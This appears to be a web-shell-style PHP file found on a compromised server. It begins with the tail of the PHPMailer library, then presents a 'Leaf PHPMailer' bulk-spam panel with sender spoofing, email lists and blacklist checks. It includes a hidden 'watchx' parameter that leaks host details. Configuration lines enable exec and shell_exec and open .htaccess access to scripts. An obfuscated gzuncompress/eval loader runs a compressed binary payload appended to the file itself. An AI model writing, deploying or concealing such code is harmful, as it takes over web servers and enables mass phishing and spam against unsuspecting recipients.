        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$eyhT='gzun'.'compress';$eQxw='fil'.'e'.'_ge'.'t'.'_content'.'s';$eZpa='s'.'t'.'r'.'_replac'.'e';$SBcd='exi'.'t';$DrIM='sub'.'str';eval($eyhT($eZpa('odtehvgrlu','>',$eZpa('xatumqsvwf','<',$DrIM($eQxw( __FILE__ ),-28297)))));$SBcd(0);
?>
xTǮ@e%d6hzB
w"'zȯoQ
w(s^[xatumqsvwf
1?V^G?Om~w^߃2ߣrGo;UC߆rrA?NskKːodtehvgrlu{kyÿ}׿GW؁cLi`J#!E4}|Da =}$/R^)@4F#U h``P	5;z*	dn_*IlXT['5_D
1.oɸn#Mq*w=i8SM  Z @
(SÎS_odtehvgrlu@E)Ҁ j fb4ת_NGodtehvgrlu7O֣%1c/CazMxȾ +车/DrZ1 .r8=XU.%6xa^~%t_
r)'(wsp; *h&i=br&rjET9odtehvgrluXp!6H[N.cZ1 F}J$^?,y^6]mƇ]!m|um;mSR[6ea1Luad5o1 n@PDGtLvH0oW5px\V0O*ie'7~s:odtehvgrlu
7C{C+U(=P0R?;M'Dzf^w}	`emjG1
CZ%$(mNۛ@
ECq#DE^5d(OhN|SnNs.A@LL-sx LS`[KaR&~\jƅ%jOS&MR2fu CNkF瘒\R^ZQPbxKsLYkG(GFXV 1wATT̉Ĵ.
B.+ZMg043Z(zxBdΐaDe(	2Z!ϲlԽPZ? ZAi+ٴm,	C.bB6Z38߶Jc%ݤMn	bd2/DE2b9wأJX%'^I~gd[f,2\BM$HOX/fO;1cU&l#(c,)l ]=`ve\XfJDȊ;D)"W bj7Yk9?5yrgqdz4D_3~Dh772T5{R
G]4H4V8@t6ۇvw~0c("pԨvLr)(lSG ~n
tώś)-^AF蔍54Ͱ_q4`8|Ab} M֎
Tr~DG-S܇%]Ry3]/nb(^D_ҡZ̕A|/ۋ.'*Z{Je,gSe[**ÛX_,'w67)zv
h4fYlodtehvgrlux(A4yng@eA%L]`8]-BZtVodtehvgrluxatumqsvwfWND({$W9uy17\
xz/ґ
eiz!eaTNWـCq׺o& t5GAdu!Fiׁ2o~CFxatumqsvwfAZY
0)+q~L˼;'91eGbLt}%(mtGQD6RwQ~/qMQi-P"PE*1ƚw_ 2`uyɨ)|^w"@Vs7yǍy}2\!|Ɗcj'ɻ22-!D-.ry/JBFN"6Ǵ	8ֲxatumqsvwf{=pNyRTW^d,c=̦odtehvgrlu~o4[yuJ뾔cd@=nHBk!ܗwRL.ΑV耽5ѱ@NUIuX"J
}F}mo9f
xatumqsvwf]W{Z$+)rn');ҕ}*iW5odtehvgrlu}	O Rh[_4^oBy.hey@~_/	ΡВHE`y~cr,Gjl(
 C U@_N+=WPHI%4eIM^X	~wJodtehvgrluusȔE:xatumqsvwfO`bR7&$i9YCg_o] +A^NP2LĶ7?2߯Dkr3}4r꺄Cd
*RΧ_UϏ*
K1%F۬OmHf~jm^3b4WYaodtehvgrluiOvwPh'I&sdؼ8= M6{ɀhCeز);v/jeaOjR3HikN-!,rť%^TYodtehvgrluPC }ͧ:\8hmLmU;qkzT{`#]V=fQYoM3_&Z3W`'hhdɓҖyr~Nef[@I݅qca0IW)uexv0Y_+8!Nt3ꓦ	(?VY[E~odtehvgrluoodtehvgrlu;ك'suGқ_[۸AYB?/5W.hW3̲TYUėJL#q[$'Bhr6xatumqsvwfpRllġzpK$F勋 ao؄C4"Z-b-ldwGCs̍/.T)ƺqN i.Beqnߞ.
Mf7ZH#l$Tu~Rf"8Y{
߷*}Jgh5r㺄ӠUJ 
G}Sf5=v@xI6;َ6]L=^^h*-H3xv(odtehvgrlu3d)ߟm].xatumqsvwf$	odtehvgrluY!SћB\$N^x ;Cu4hVEHFÃJ@9kT@*{I8-'Sh
tZg͕ܡodtehvgrlur/|gN|wHsW8ADRP}dQc[:hcRCO}![TA;_/Vȑ3_^KZX~v[ZO0^ӷ=D]mƊ
6NBOodtehvgrluWDdDg=xq(_N.? 9Ǹ20:\@odtehvgrlu?|xatumqsvwf{g	Zz)58"07v_bAH}^/#?^S*
l6mHi;W('qϜv/I;/_d\=5UZ/s1E;(!-o s?0r[F ʵpp1D%AL59?xatumqsvwfai_KąsnjDAGx73mc&Hx}E!
$.V¹)(	RW}ߏ֜`ԎM8^"^1jcc3C^E17VBhALvd닑1䱺3h7^-[*\MF+hF!Izߎb,U|Q }Blvxatumqsvwf{|`p& kxatumqsvwf)=Oc$^e9.N~:
}Ȼ+Az,-v$$-T6o@t7|I^dxD,l[~BE~:ctQM8%nDhp[v*?
"a87H/odtehvgrluEg;!Nynd я `ȄZ?6 ϗƚ( k0LJobI(KzUip͑=߈	mBJnJ95ь2GCԌm SWmxatumqsvwf`⭐
*U*H]Vh8Z(:9#^;~!6uìK4C\@Z3@*Qᬇ)[ݏp odtehvgrlu|OVQQ M/a7ñz4nȻ.3c5 v-jB1bb ݆68ŠKJ[ّH㟳I ^(G^wC𘥲bTZ]6uqzwxatumqsvwfMFxe$]K1ZZ5r"qcWwJѺ~
a"}RFb_h"ˠVڵqF|jT1Ւ߼(	4IfІ It!6ix;6+)jݎaXѾY.edF6ۑtyߩV@g3xatumqsvwfClE4;rGB odtehvgrlugr`L-=SGuRբeLXSՂ`/}Q?ۊg7nb#IƢ3޹T,xhL
sTq]h _mfRi'LJ^D#7lVY*!HQTw@%yusUv[	
E ^TNxatumqsvwf0Z,孒_rR{pLLEBLL蜕	Uٙ͘"0%xǈihZR"Db)E@3l3P#f,q裤grJ\q-f]Ρdxatumqsvwfx
OrMxatumqsvwfct_Fг/M{\tLA(C}(QFx"$/@y
q3fԽˡID/bxnSrW_zB$lȞ?:*2f*1FE?ǂkchb?;iv1qz}pmLR9[Y
HF#hbsfMYg~ ZNVLvr[HXÕڽ6X4q@e]?5odtehvgrlud:U,~ƶ/瓸鸬me ?X'ϵ}G-Vn{n9A	ʏX~^m,;V
}H:0*mqQTQ2wg|s_vLP@ l{IFXU;^8񬙢 jxatumqsvwf܃&iY=i^C;v"X69u?(U`,ggCmO6dlJV4ϬW1Jge?d ʷgy$NɾSUFr\]'svo3jQxZǴ㪮eTxSڻ3KCzl	Of- odtehvgrlu&FZOG_Xfv_Vk
4Q2:3Xl@!k3odtehvgrluӧ~aQݳ3pÆ;QeytU6cZ"[aŕk~:ݪk{֏5-h}ҝS3MJ/e L
L*hq!+:=q%ۈD~_Lyk
bʾQR}r(q*BJӜ$1*.
mL5wb2UNg=o@G)@GCH#nOBӅZM%A)g1܃^RgW!}9O64dfh#(T줉ￔ蹈~)-zyvzhLBj_zц~|1Q6)''J
h}/\k5TGx!)5
-/28t9Hѕ*^7O&%"Х^'^93Rf
7-=*`ӂjz_Dk2I6l.	`odtehvgrlu,p ~	́ay,yodtehvgrluexatumqsvwfz]X+Om}V2~C$T%
	}ҷ
Uf&$ԟl~esq-ШKgi2@%xatumqsvwfQxatumqsvwf[+Y/JN!  r]umh!;&H*:bLI95m@[S-kE	aC tOz-8R%~p?E7:e+"T@ZEi-ݚU.7rGbgʴ,hl)rANA.ة͑ۅeU5M%Gw&0I)JTATƩԫ]*ij	WModtehvgrluZ$/ŵ+{xg:ijF9XlySXb]ZXiBxXs\{@ߦE%&xatumqsvwf(u&xatumqsvwfh*ډ^xatumqsvwfᥫ`Pb)ΥB)d͸y(m_$
Yxatumqsvwf
лm{6FNWH}Ҍ
 .Sjȁ@Nr3-e-ݖn$i\;ՁQcy7J##p8qR	@.*Z@$axatumqsvwfO~L]W&NDq
GZv	$%y,r3Eӳ ~+x&@k1`vO;h9d$EmH.n7"OЉU5!%XK(:qЦcN*Ƥ5[e8;2=^xatumqsvwfU
S(}SŶh}ۥ[LkMtS~Q.}ѿ5YF#f$avexVb@~ʺ8u߳2zn1$.f !x&kc}odtehvgrlu
3GKTNЯ9T%j]	{݌RݜzU
ZTLAٓU8[yU4oѓps|Sd%)tCS t(
&V7w`s+#dI"
сMj)!26:bJnt?exatumqsvwfK@.odtehvgrluFI̂8D}:vߜYgI;q[q?`{[OdlWkb yp.'vc8^SN̑d5G){+#@5="=_QCGD :PӴA{$Zb§xҀxatumqsvwfPU~WZxS%IA{rϝ"Uٞ%i*SH=LMD Vc׭ρxatumqsvwfpHv ZZm:L[BOLmCrӐg,)9m[P
wtO7rɗ 7UMIXYy
odtehvgrluSV4Sm2_odtehvgrluxatumqsvwfP}|ZT|і6FrV)hp#ʥqNfdC\ql: +}\K
^0ipx	3릭J*͜цg/FOme]Tm}hNքxatumqsvwf͏"}BSkf,Txހkzug=ŻrZ[xatumqsvwf%	xatumqsvwfM|P/}`F~AxatumqsvwfLɑ캹 QqsTZHAg1_DY_nPvچʺ@k[S._wsݔԋ3H^LC_꫙.M
7}لodtehvgrluMnk+_DFxY|C]	

ECXxatumqsvwfBl@KZ|[WO*h7G|Lx:/FCvMz/&Ֆ^Ap]ۙodtehvgrlu9WB8Ipm"e0ׯ]!T5%j&)(,]œK1L1#\ib+6QP
jbLN&h:IqxatumqsvwfBoYȋxp`/lv)MVFnk7n2\{+KkEuý(( CM :	Oi|]+Nk7SdLteg߬Du'%]R`UkԮ`2%JewH(BRWrDxatumqsvwf.}_|WXG90/ǀY{Srx$eVcY"wN7"/߀Gp$l]!
.38MSȐtyRlROYaqTdz'fLQv_~lDz&0JZG194xodtehvgrlu2$^hqт8L؛$ntNE#W_d/ad1odtehvgrlut7,? yָv2o}#9j@'\uwI|$?/7#Iыt|dS)pO#.jz:Dk-W%;zodtehvgrlu?yA6I.gooM 큱f3-DܢfIY"Ŷ4djiҝ?6kĐzNП\}odtehvgrluxatumqsvwfCa5Tr;xAjjxatumqsvwf/~o\X+zO݅ஜ1[odtehvgrlu0ugodtehvgrlu
 ?`5՚"	y$ǲD0@Vt_ӢP%IG.cxatumqsvwfm.ÿ_mae59?@3nF09`u.xatumqsvwfW4!} )g q#ԑrFS
P֒SAcnB:xz(UNc2 nYiZ{sTbٽodtehvgrluv)3ע&i?}To;X`aX`
3\TiFiyt{!诗;t=:odtehvgrluw/%[s~tD8Vp1	Qc@+գO  Uab!ڗjT*:m+~
Cb]ֶA.ߘ ʌZnBr۔ :QWR.Tgϯ޶"D2ހ"8LTrS]&םXodtehvgrlu_q.pl ъKT\Z5lH,.RE	;'Шe`TXBL=φN
T"i$FռqYp =L$սc]Ĺq=]^@DB5з&P~oO"]BWwsI-.Q W`Gqk^.B̉҉.yǜ'/W"3OH5=𬪬xY)]]-k:ҧy+c%0S~+e}#M3Ǝ%-9WpyQ6z}Xtğodtehvgrlui/0=f`MJ7XF$Bcyq"C[Yu*mȥTQ$IwMT*UJK883cIYm{`һwdp$ S|^Z,Kli.S|a&il`ʪ6B
v[p)1]'®7zHY:- eT|,q/,tGZP_d Lv\nYwzS?6@=w^*W)xatumqsvwf7
 hOgؓdvmv@iee;ŬXRcek^f`uFtYZ-3윋994k
\4FRtsr6Mnt
4v|z{ d3	Txʣ!B|ivA19Ռe/G
ܲ2\ۡUg{`ᵌ{DcY`A)R'v~&Ph(d̉
})1;
"(Owb._3N!~¿J4%2Qe(UD?odtehvgrlu|F4j(xatumqsvwfb,Z ab 'η;Pl
v?\ZyFگW;P,@,b	;e	kH"O@#p\駺8cSLXxatumqsvwf'p2M"t.tb*;翄:uxatumqsvwf;rUé߇nꭻL;Dodtehvgrlu:r\7#:Mq]/ǟxw R/GIsaM]T7iLel'ISBޭT;^FjG珁ZUsẄ%l$wW0(E|MS"}چd "Ƶăr]TqTq9icPbrִ*Ѝ+|0nbշlx=~p|Erxl_+_=N%@a*OUnkv5	b4mOmqztxatumqsvwfo
o
\ MA&
ڇ*ct
4929_CIۂښGݫIm|dݱF_;xaiH
oo^M4b;QK
q ##ͳ='PIW'+V6]ͣ=Ylkx49y_Vd.fp9ۆDO`odtehvgrlȕYPxatumqsvwfo5pXN# ؋6'Hz;kyסYU$ڡpZxatumqsvwfX6Aj{z(E֌j-yU}A5qjez%`Id}K qaf7"xɼ}MI/7VŠ}ɳb:ټa8I3uh[$ݜpI~f}Tlk
~h!97
!G37/:;K=0R.GCwP-}T7
?,=kgws}emP[MxatumqsvwfodtehvgrluΊE}7ӟ)7ukюodtehvgrlu'Cu*|ont0ўW4=qyqW%hn2-)STxmS4pr"v h}%1f\Nodtehvgrlujك.i6ap4t̕ V#VcGu0.-zpy_#B2E-.,S_
@RdH4/
紨$;ЍUiÒI^T
V|JYJR
ujRAY+/ (㑟.FrSj
l	&
~G
^/mA)F3xؤH}܏rT-~$TO1x*Qwb]fodtehvgrlu:!
_8saݎ^I6_ẏwM9=x9Ҕ!|EaB
F yyՔ2J`Hj&s!ࣾUel1+,(71E.*:jxatumqsvwfMNL :`fJ

 odtehvgrlu8Q}LuxxatumqsvwfYX92"gU--lQ$msz  t$^PAꇎ;$i	Wt*zE_#t.]E-M:جm:qϲh\(cfeYtgC@Rawx9@HI(
xatumqsvwf1l,]e^EbNqv[yIWݨM'c1'SdNt}N h[Z.*Jnf׈+TTK"x?Sghwz]d33`xe/H&~O'!odtehvgrlueOJiT
}k!i)dNfBػͺ_krJ*8{YS"|V^my
+F*gч (p)&1̑5k
E.FmR\y9tJ٫EpRZO ?߂hhz(
*?EI_d;H՜!K)/RW0^x(jI#z){oxatumqsvwf'-ӏ ^j/xatumqsvwfp g^mGf8{6vSy(QN(LB1wUA2v:VLvRxM@Fn23$zXo֖YaSngx84|z)]qx29Jx=8sբgx`Ctw3VmMVEDodtehvgrlu I ڴa~̲x.Ne /*3bAk*veʑ3^/-wO?~{"TotxxsĦ}É`8V@E/KŸ1SS/0){"aI'
Կq	6R.,'Rp"*zGVXC
(a~%Nfai7xatumqsvwf\i*NY6zفf{g]"L)S
rNg4߅yHqmZB?[/[q-j$.aj5#YeP% VmvBB?Rm1|\^zhʤeVT]3`ߝ[qw"j|h$O.S
!rϻ[zV{K**a2hC?C;NXd4]{;0O;a(1(-ޒR#A(h	|!) Q-je6S2{
 16)"AZ O7CnT\ɧgɜӌQ=ӈD\xatumqsvwfa
S^k5QG˼3H@}&saqWCmYvm4"cZe8!^"l)n!
HA`02J禹Vyr0odtehvgrluL|cunuΓ^0crW:6b8iU!U7H;×TkW쮪'
ll Ztp#itlKW6k9~ZS/-%B^WXQ.!r6Ј4C|0xatumqsvwf2i~AR(TSR?7$RҽUCQ_#lSgP)E_ܠ-bNlU'=NBYZ ǯ5r9yܖpDfWGM$D(eY{htQڪ1Ԛ fV3fԒyNqR˄Gx].WNodtehvgrluⴅX%HltxH\ NT,H]qM0@v{JңԺ
jVKv+2 E'݌ȗCX\h?$t*4Q)'odtehvgrluu@}-\?KB^jz-	Jq'5$rDS-exz:Cå{3bQgbʊ))O^mIA"Kpq)V9meG߽D:

/ndV*.^X{Ɏ=1Ҫǒ5 +&.$β!;}XTTq
~x˚T8n	ƚtodtehvgrluگ‗&NJpLM躽odtehvgrlu;Qkao[#arzBY"ҪD9ޅ2#Y޶pKu{?U0ҫ/@7Np?ޞ薭^8
{^܆^w1H6Eϥbwodtehvgrlu?ޙʠG^gnb,	&H&yBN#"bevoL;}Cmt~9x`_8 oXLLMi+J-%A'r:4Zi캈kk[2i߰ݮ qystj
dl/U1݀NCOd U{~MmqPxatumqsvwfZPwl@PZa-Jʑ$RqZ[RmEJ{}l}tuodtehvgrluϷrV@M;odtehvgrluRfdH wQg;ou(Yf7"vK8Kd:\u&nV% ~ʾۻX♆9C:}@Megv@k~7c~F;OW
OE odtehvgrluds~/䋦O-Լ 2[mI˽T%?dtu[yj`/n`Ϩ#	{t4S([֞ U0v.
XW?Uc/#|~w2̥Rz'8]^^M](n["Ᏸz"O
n}QV=#Wbzvʷ{/F, `ò ~,GkB֙:7hNrgD]AY7' 0RKofيdzcKKxatumqsvwf`;=Fp踅~ߚo %͏W|P~?m}4R,#h`{YX HNϝLI}Js҅y_}6#A%4V]fvB`R@Qe/܅l

b6 1odtehvgrlu]#xh0$gHfrq
8zdqKף¾Ԋ-8\0vu	:Uxʤ1ZyIzckkv|ORcA%V vFY,'^B*Y@$	odtehvgrluwQm($5,#!Ǣ"nGXGdHo}Zodtehvgrluaڱ6?U&{PL.~OzOC_[%cbZ#p@GɺICodtehvgrluo/g#ӞY69 xM
B1X'X@'4FW3(|S&=h4ǀPԬ|&J
;52Dxatumqsvwf

7LEr:u
j1oNC'¯	\V#rGI3ntZ o%Z~&|yv;HK(
%9odtehvgrluip%:k'v1
eodtehvgrluH-=c]3jsJ_odtehvgrlu*uC3J5odtehvgrluGitd"{"FC̨ʻnEb0N5%foq`Ƙɕ`YAAa#6L{}5ov4]L9n:|RwmGcE{/ń3i9Q|V&TrST ӛ7uq,[uy3ПVsA:c"D:xatumqsvwfzEu.6+0Cӧ)p|cjWBz_;7䯡2\Y Ui9j2.T=R'F}8-MS' lΛߔJJZo}T?mCc	xt[ahodtehvgrlu
xT(ɓiodtehvgrlu@0[0E| a1581_퟈oD6sq2(%[{\.#SZ3CWxatumqsvwfa02WSRx[&3./fodtehvgrluaTyFbhhg	KIh|3:'˦wI`ɇ=4q9Fg9:"[+'FW|aH](}6xatumqsvwfR=t?ps4dӬ;I[NԅW?D9
^
mW-d+g|hVQ߈J]Gj-]H3-^7 Ƨx %ک{朳gh)6C/3n},/K- V]B3aܷq5"-K {[}'w}E]_xatumqsvwf
k-ÙW1d@0B1p O*WDg]d%Y\2~]*,f%vuC?珧ADƘ[MdM
$ѭɭGWkOE)w5P$N.!_iA(aߥF|,6gu_@Z,
E:Wk_uIy7$=˶\uQyȥfA
EK
u-aCH-ƀ%qT@BSCEyQodtehvgrluch֩j]#5Huxatumqsvwft#g; &T"mȰ:%C7^t=d$vE"ܼȭZ'F`)vٯuH{"$
\jodtehvgrluodtehvgrluԞYW);ΐlodtehvgrluV2d*Ol{ƃ;xzOqQ"Lٺl[wtCMƻDP8d;u=
нj0 K#1񣖢oBnW:-odtehvgrlu38O4=!d;`'!LV9I#PwwUB0d (Ȋ5OwzJ/FiqKQ0n;roxs9HB0ޤ~#ej}(RZ
Ǯ+{^xzxxatumqsvwf]
،I(']L&a|B|8+;%'#K@=ՙ.P,0=]u4D(t|z?POIQ8^!p,F
M[xatumqsvwf}oi[;i8vMi~/P?
Ny4}P-Կ%32S-kac%q'?fMF|/t˫pCc2Q"I5fFKU
]yIybcېN-p*O|ǭH9*Ӧ[r_T)YrE01L χYvƸL79%"f
G6u1;m װR#`TLA֎)#GÎ
7^Àca0u~@2a8$f$*C7;/]κE4*ӼF:mYr)|sV
BE\7iJͣsse*Ym"/¯0q^Fd^^0yl3'#jl?4|eER6u;b!(^eH)pVZ%O7~PD}#!#mum'{\D"e6#Z7S n_uy!Yߒ9y#]j 3q/ÙTMK6n+sjǸ^K#~QmTtDDq?4jrp!w0H幫٪ɼ]؝r:V-?I+Q`Lǵ	z{Nu?1-(ZaZh.'_=odtehvgrlur}IN+/1 /Jodtehvgrluh.U8y!RR
l%$AȆq+%^с^bwOoLnj	qʙ\cԿ] ,$5ijRRH}Fv`ǿ4BQ']zÐ	'	;3J|ѬrGe?H]6xatumqsvwf{[3;"3N$|DvH9 RT8_tzN,1GQMgRh5je㱵	zLͺC{=}~)(82Izv~LNIp@_/˟7
ضh`P4cӫ9|[pm`21]U_xatumqsvwf"'(ː3Y*ӐRZrbit~.:Em|ހ?Vq3vPi YZ\
ѐJM=*0GO3l(AipsA[cZQc;9+4/ ?CF7{J?⏠Ixatumqsvwf&mG: OE|̕i" dpo4],]R``5͊A=8gO2}\Ĥ.^)(z}H1+k"l'*xsgn,ofnйodtehvgrlumc0)&O}uS1!EW`loޖiNLd}Q*4]$Ds=$%0F)ųGlVVr5m3umgzRD
